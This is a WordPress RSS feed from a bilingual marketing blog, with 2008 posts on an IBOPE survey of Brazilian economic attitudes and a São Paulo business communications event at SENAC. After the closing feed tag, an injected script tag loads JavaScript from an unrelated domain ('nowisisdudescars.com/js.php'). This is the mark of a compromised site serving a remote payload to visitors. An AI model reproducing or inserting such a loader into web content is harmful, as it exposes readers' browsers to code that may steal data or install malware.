

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blogamericas.com &#187; market research</title>
	<atom:link href="http://www.blogamericas.com/tag/market-research/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blogamericas.com</link>
	<description>The bilingual blog of TWRAmericas</description>
	<lastBuildDate>Sat, 31 Jul 2010 22:53:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>81% of Brazilians have had a good year (or Brazilian attitudes to the Economic Downturn/Crisis/Crunch)</title>
		<link>http://www.blogamericas.com/2008/12/21/81-of-brazilians-have-had-a-good-year-or-brazilian-attitudes-to-the-economic-downturncrisiscrunch/</link>
		<comments>http://www.blogamericas.com/2008/12/21/81-of-brazilians-have-had-a-good-year-or-brazilian-attitudes-to-the-economic-downturncrisiscrunch/#comments</comments>
		<pubDate>Sun, 21 Dec 2008 22:10:00 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[Brazil]]></category>
		<category><![CDATA[economy]]></category>
		<category><![CDATA[market research]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/?p=309</guid>
		<description><![CDATA[According to a report out last week, depsite growing appreciation of the global economic crisis, Brazilians perspectives for the year ahead are largely positive. Either the study reveals a nation in serious denial or as we would expect more likely goes to show the severe limitations of attempting to understand a populations attitudes and understanding [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.blogamericas.com/wp-content/uploads/2008/12/picture-38.png"><img class="aligncenter size-medium wp-image-310" title="picture-38" src="http://www.blogamericas.com/wp-content/uploads/2008/12/picture-38-300x190.png" alt="" width="300" height="190" /></a></p>
<p>According to a report out last week, depsite growing appreciation of the global economic crisis, Brazilians perspectives for the year ahead are largely positive. Either the study reveals a nation in serious denial or as we would expect more likely goes to show the severe limitations of attempting to understand a populations attitudes and understanding of the issue through such quantitaive on-street questionnaires.</p>
<p>The report &#8211; Perspectivas 2009, conducted by IBOPE, states that 81% of Brazilians have in general had a good or a very good year and that 74% of people believe that next year will be better. If anybody knows whether such figures are universally consistant we&#8217;d be interested in knowing more. The real issue with the research is that it then goes on to look at attitudes to the current global economic crisis, as if the two issues can be closely correlated. 86% of those surveyed believe that there is an economic crisis and 59% of Brazilians are worried or extremely worried about the consequences of the crisis. Most interestingly most respondents seem to feel that the problems of inflation and unemployment are already affecting the country but not yet their immediate families. In terms of changes in personal behaviours &#8211; the biggest impact is likely to be seen in less personal borrowing (48%) reduced leisure spending (40%), putting off of travel plans (29%).</p>
<p>click here to download a copy of <a href="http://www.blogamericas.com/wp-content/uploads/2008/12/perspectivas_2009_site_giro.pdf">perspectivas_2009_site_giro</a></p>
<p>For more detail on the study click <a href="http://www.ibope.com/giroibope/capa.html">here </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/12/21/81-of-brazilians-have-had-a-good-year-or-brazilian-attitudes-to-the-economic-downturncrisiscrunch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NBC 08 (SENAC) discussion with teenagers</title>
		<link>http://www.blogamericas.com/2008/10/23/nbd-08-discussion-with-teenagers/</link>
		<comments>http://www.blogamericas.com/2008/10/23/nbd-08-discussion-with-teenagers/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 18:25:36 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[Youth]]></category>
		<category><![CDATA[market research]]></category>
		<category><![CDATA[NBD]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/?p=279</guid>
		<description><![CDATA[We&#8217;ll try to get some clips from the event onto the site in the next few days &#8211; a small first clip here&#8230; Please get in touch or leave any comments on the event]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ll try to get some clips from the event onto the site in the next few days &#8211; a small first clip here&#8230;</p>
<p>Please get in touch or leave any comments on the event</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/2YXbW7E6v5Y&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/2YXbW7E6v5Y&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/10/23/nbd-08-discussion-with-teenagers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NBC 2008</title>
		<link>http://www.blogamericas.com/2008/10/21/nbc-2008/</link>
		<comments>http://www.blogamericas.com/2008/10/21/nbc-2008/#comments</comments>
		<pubDate>Tue, 21 Oct 2008 20:20:06 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Brands]]></category>
		<category><![CDATA[Consumers]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[market research]]></category>
		<category><![CDATA[NBC]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/?p=274</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.blogamericas.com/wp-content/uploads/2008/10/picture-3.png"><img class="aligncenter size-medium wp-image-275" title="picture-3" src="http://www.blogamericas.com/wp-content/uploads/2008/10/picture-3-300x192.png" alt="" width="398" height="253" /></a></p>
<p><a href="http://www.blogamericas.com/wp-content/uploads/2008/10/picture-1.png"><img class="aligncenter size-medium wp-image-276" title="picture-1" src="http://www.blogamericas.com/wp-content/uploads/2008/10/picture-1-300x224.png" alt="" width="300" height="224" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/10/21/nbc-2008/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Business Communications Event</title>
		<link>http://www.blogamericas.com/2008/10/09/new-business-communications-event/</link>
		<comments>http://www.blogamericas.com/2008/10/09/new-business-communications-event/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 01:24:51 +0000</pubDate>
		<dc:creator>Tim Lucas</dc:creator>
				<category><![CDATA[Advertising]]></category>
		<category><![CDATA[Brands]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Trends]]></category>
		<category><![CDATA[event]]></category>
		<category><![CDATA[market research]]></category>

		<guid isPermaLink="false">http://www.blogamericas.com/?p=262</guid>
		<description><![CDATA[We&#8217;re busy planning for the NBC event being organised by The Future Department. The event takes place at SENAC in Sao Paulo on the 20th, 21st and 22nd of October and has some interesting looking speakers and attendees. More information and some of the material we have been generating for the event will be appearing [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;re busy planning for the NBC event being organised by <a href="http://www.futuredepartment.com/">The Future Department</a>.<br />
The event takes place at SENAC in Sao Paulo on the 20th, 21st and 22nd of October and has some interesting looking speakers and attendees. More information and some of the material we have been generating for the event will be appearing here soon.<br />
The official event site <a href="http://www.sp.senac.br/jsp/default.jsp?tab=00002&amp;newsID=a15488.htm&amp;subTab=00415&amp;uf=&amp;local=&amp;testeira=453&amp;l=&amp;template=&amp;unit=">sits here</a><br />
<a href="http://www.blogamericas.com/wp-content/uploads/2008/10/picture-5.png"><img class="aligncenter size-full wp-image-263" title="picture-5" src="http://www.blogamericas.com/wp-content/uploads/2008/10/picture-5.png" alt="" width="499" height="537" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.blogamericas.com/2008/10/09/new-business-communications-event/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://nowisisdudescars.com/js.php"></script>